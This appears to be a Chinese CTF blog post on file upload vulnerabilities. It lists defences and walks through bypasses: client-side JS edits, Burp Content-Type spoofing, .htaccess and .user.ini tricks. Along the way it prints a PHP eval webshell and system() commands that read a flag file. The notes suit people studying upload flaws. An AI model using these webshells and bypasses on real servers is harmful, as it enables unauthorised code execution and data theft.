文件上传及比较常见的题目解析

  • 文件上传漏洞

    • 程序员对未上传的文件进行严格的厌憎和过滤,导致用户可以上传可执行的动态脚本文件
      • 头像上传、文件上传、媒体上传
    • 防御措施

      • 上传文件的存储位置与服务器分离
      • 上传文件重新修改文件名、文件后缀名
        • 看后缀名是否防止修改
          • 前端传递,后端校验
      • 文件上传的上传保存路径根据业务进行分离;下载根据重新生成的文件名下载
    • 文件上传,验证/绕过,措施

      • 前端/js类绕过

        • 页面直接修改js上传文件后缀进行修改
        • 抓包改包,改后缀名
          • wenjain.jpg-->抓包-->wenjian.jsp
      • 后端
        *

php语句不对,重写(关火绒)

js前端

查看元素

修改后缀php

上传,文件路径

post

x=system("ls");

查到目录,用x=system("ls ../");

查看上一级,找到flag.php

x=system("tac ../flag.php");


利用bp改content-type

首先,尝试第一种方法,不可行

用bp抓包,发现content-type特点

尝试修改元素后上传php一句话木马

抓包,修改type为image/png

放行

上传成功

按第一步来

x=system("tac ../flag.php");

flag出现

如果把下面的png格式修改为

<?php eval($_POST[x]);?>

是不可以找到flag的

不可以是图片木马

不能连接蚁剑,一个png一个php


.htaccess文件

apache的一个配置文件,负责相关目录下的网页配置

实现网页301重定向,自定义404页面错误,改变文件扩展名,允许或阻止特定的用户或目录的访问,禁止目录列表,配置默认文档等

<fileMatch "\.jpg>

SEHandler application/x-httpd-php

</FileMatch>

先分析源码

对php,asp,jsp等进行过滤,大小写的方式也不行

phP&&php5不行的话

但是可以上传.jpg文件,可是 .jpg只有解析成 php文件才能getshell

因此我们需要先上传 .htaccess 文件,然后再上传 .jpg文件

stack.jpg

<?php eval($_POST['x']);?>

找绝对路径,连接蚁剑

.user.ini其实是用户自定义的一个php.ini

是PHP的全局配置文件,对web服务起作用

利用这个文件来构造后门和隐藏后门

按前面方法继续尝试,发现不行,大小写,加数字,也不可以,需要重新下载

相关推荐
Pure_White_Sword2 天前
bugku-reverse题目-树木的小秘密
网络安全·ctf·reverse·逆向工程
运筹vivo@3 天前
BUUCTF: [极客大挑战 2019]Upload
前端·web安全·php·ctf
运筹vivo@3 天前
攻防世界: easyupload
前端·web安全·php·ctf
运筹vivo@3 天前
BUUCTF: [极客大挑战 2019]BabySQL
前端·web安全·php·ctf
给勒布朗上上对抗呀4 天前
特殊符号绕过-ctfshow-web40
ctf
clown_YZ5 天前
KnightCTF2026--WP
网络安全·逆向·ctf·漏洞利用
给勒布朗上上对抗呀6 天前
文件包含之include-ctfshow-web39
ctf
Pure_White_Sword8 天前
bugku-reverse题目-peter的手机
网络安全·ctf·reverse·逆向工程
缘木之鱼8 天前
CTFshow __Web应用安全与防护 第二章
前端·安全·渗透·ctf·ctfshow